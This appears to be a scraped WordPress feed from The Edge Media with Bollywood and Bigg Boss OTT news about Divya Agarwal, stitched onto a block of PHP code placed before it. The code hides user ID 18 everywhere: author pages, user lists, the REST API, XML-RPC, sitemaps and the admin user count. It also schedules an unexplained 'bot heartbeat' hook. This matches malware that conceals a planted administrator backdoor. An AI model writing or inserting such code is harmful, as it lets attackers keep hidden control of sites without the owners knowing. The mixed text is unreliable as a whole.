add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post ‘We stand by Divya’ trending on Twitter appeared first on The Edge Media.
]]>The diva stood against host Karan Johar who started the show by bashing her and her connection Zeeshan over the latter’s ugly fight with Bhojpuri actress Akshara Singh.
Netizens slammed Karan Johar for being biased and not taking the responsibility of a ‘fair host.’ Divya, on the other hand, won brownie points from her fans for putting her self-respect in the front.
TV actor and ex-Bigg Boss contestants also slammed Karan Johar and said, “I’ve felt sooo sooooo bad for Zee in today’s episode.. Poor chap he dinn do anythingggggg wrong… literally anything!!! And the way he was treated today. (heartbroken emoji) M sorry but noone has gone there to take shit from him… There is a way of tackling the situations, sirf host banna is not the game you gotta do justice to your post.” In another post, he wrote, “Dear KJo.. Come lemme burst your bubble!!! U ain’t Salman Khan… try talking sense!”
Supporting Divya Agarwal, netizens started trending ‘We Stand By Divya’ on Twitter after the Sunday Ka Vaar episode. Other than lauding Divya for voicing out her opinions, they bashed host Karan Johar for targetting her and being biased towards Shamita Shetty.
One fan wrote, “No matter how many times anyone tries to pull her down, OUR QUEEN always shines bright! Heart on fire A host like him, deserves someone who can give it back to him in his own taste, that’s Divya Agarwal for you ! You go girl! ”
Another tweeted, “#DivyaAgarwal is the only contestant who is not planning plotting for the task and for future, not doing groups-2, rest HM’s trying make groups, planing for tasks and Divya is just going with the flow, that’s what called the real personality.”
The post ‘We stand by Divya’ trending on Twitter appeared first on The Edge Media.
]]>The post Divya Agarwal gets nominated for the entire week : Bigg Boss OTT appeared first on The Edge Media.
]]>After which, Karan announced that Divya has been nominated for the entire week. He also suggested to focus on her game and impress the audience to stay in the house. The eviction process will take place on Sunday. The audience will decide if Divya will stay in the game or not.
Meanwhile, Pratik and Divya got into a verbal spat. Pratik accused Divya of not keeping in touch with him and despite that, she called him her companion. She also said that she doesn’t need this show and he needs it. Divya lost her cool and abused Pratik which left him angry.
Apart from Divya Agarwal, Ridhima Pandit and Pratik Sehajpal, Shamita Shetty, Raqesh Bapat, Neha Bhasin, Zeeshan Khan, Milind Gaba, Karan Nath, Urfi Javed,Nishant Bhat, Akshara Singh and Muskaan Jattana are the contestants of the new season of Bigg Boss.
The post Divya Agarwal gets nominated for the entire week : Bigg Boss OTT appeared first on The Edge Media.
]]>The post Divya Agarwal talks about her character in Cartel appeared first on The Edge Media.
]]>Divya is playing a mysterious character who is a make-up artist by profession. She shares in detail about her role and says: “I am playing the character called ‘Grissy’ in this show. Interesting aspect about this character is that no one knows her face or her real identity. She is a make-up artist by profession but uses it as her deadly weapon. ‘Grissy’ will bring interesting twists and turns in the show. All I can say is that the audience will get to see an absolutely different side of me.”
She goes in detail about portraying multiple characters: “I play six characters with drastically different looks. From playing an old lady to a transgender — But why am I like that? That is the real mystery. It was exciting to get into those characters, but daunting at the same time.”
Divya further shares on how challenging it was to depict different personalities on screen: “To become a new person with each get up was the biggest challenge. I just didn’t have to put on makeup and start rolling, I also had to change myself completely as a person – right from the body language, accent to dialogue delivery. So while for others ‘Cartel’ was one show, for me it was equivalent to six different shows.”
So Divya’s character has manifold angles and certainly playing such a role is tough as well as exciting too. As she says: “I think playing this character was the most exciting part in itself. This show is that one project that’ll prove my acting mettle. It is an ode to my father, and I say it with utmost pride that whatever I have achieved today is because of his blessings and support. Grissy’s character is really close to my heart.”
Cartel’ has been in the making for a really long time and several times it becomes exhausting for the actors but Divya never gets tired and is completely excited about the launch.
The 28-year-old actress elucidates: “The show has around 138 cast members. And our team was very clear that they wanted everything to be perfect. So the show did take some time, but I and the entire team is immensely proud of the end product. We never felt exhausted.
She adds on her expectation from the show: “I want the audience to watch the show and give their best reviews. I hope this show will help me start a journey with regards to my acting career.”
‘Cartel’ streams from August 20 on ALTBalaji.
The post Divya Agarwal talks about her character in Cartel appeared first on The Edge Media.
]]>